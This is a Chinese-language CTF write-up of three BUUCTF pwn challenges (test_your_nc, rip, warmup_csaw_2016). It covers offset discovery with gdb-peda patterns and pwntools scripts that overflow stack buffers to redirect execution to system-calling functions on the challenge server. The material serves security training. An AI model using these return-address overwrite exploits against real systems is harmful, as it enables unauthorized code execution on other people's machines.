test_your_nc
题目
https://buuoj.cn/challenges#test_your_nc
解答
1、根据题目提示,直接nc
2、cat flag
rip
题目
题目链接:https://buuoj.cn/challenges#rip
解答
1、IDA打开分析
发现gets函数,同时查询文件返现没有栈溢出保护
同时发现命令执行函数,地址为0x40118A
2、测试偏移地址
两种方法:
法一:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /home/dililearngent/Desktop/pwn/pwn1
please input
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
ok,bye!!!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b043c0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x405010 ("ok,bye!!!\nAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x1
RBP: 0x412d41414341416e ('nAACAA-A')
RSP: 0x7fffffffdce8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x401185 (<main+67>: ret)
R8 : 0x7ffff7fdf700 (0x00007ffff7fdf700)
R9 : 0x4177414159414176 ('vAAYAAwA')
R10: 0x7941417841415a41 ('AZAAxAAy')
R11: 0x246
R12: 0x401060 (<_start>: xor ebp,ebp)
R13: 0x7fffffffddc0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40117a <main+56>: call 0x401030 <puts@plt>
0x40117f <main+61>: mov eax,0x0
0x401184 <main+66>: leave
=> 0x401185 <main+67>: ret
0x401186 <fun>: push rbp
0x401187 <fun+1>: mov rbp,rsp
0x40118a <fun+4>: lea rdi,[rip+0xe8a] # 0x40201b
0x401191 <fun+11>: call 0x401040 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffdcf0 ("AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffdcf8 ("aAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffdd00 ("AbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffdd08 ("AAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffdd10 ("HAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffdd18 ("AIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffdd20 ("AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401185 in main ()
gdb-peda$ pattern offset A(AADAA
A(AADAA found at offset: 23
得到偏移地址是23
法2:
手动计算
s的空间地址为15,加上堆栈中ebp,故返回地址存储空间的偏移地址是15+8=23
3、编写脚本
from pwn import *
p = remote('node4.buuoj.cn',25402)
payload = 'a'*23+p64(0x40118A)
p.sendline(payload)
p.interactive()
拿到flag
warmup_csaw_2016
题目
https://buuoj.cn/challenges#warmup_csaw_2016
解答
1、先查看文件信息
64位,小端序等
没有栈溢出保护
2、打开IDA分析一波,找到main函数,发现了很明显的sprintf栈溢出漏洞
shift+F12查看程序中的字符串:
定位相关函数,可以直接读取flag
3、测试偏移地址
由于程序返回地址被覆盖,未能正确返回故报错,此时栈顶元素或者ESP中的值所在的地址就是之前存储返回地址的地址,故只需要查看栈顶元素或ESP的值在输入值的偏移地址即可查找到我们所需要的偏移地址。
或者还可以这样考虑,在调用函数后,先压入函数返回地址再压入EBP的值,这里可以根据查看EBP里的值距离输入字符串的偏移值,然后再加上8即可得到偏移值
4、读取flag命令的函数地址为0x40060d,编写脚本
from pwn import *
p = remote('node4.buuoj.cn',28917)
payload = 'a'*72+p64(0x40060d)
p.sendline(payload)
p.interactive()
5、运行
得到flag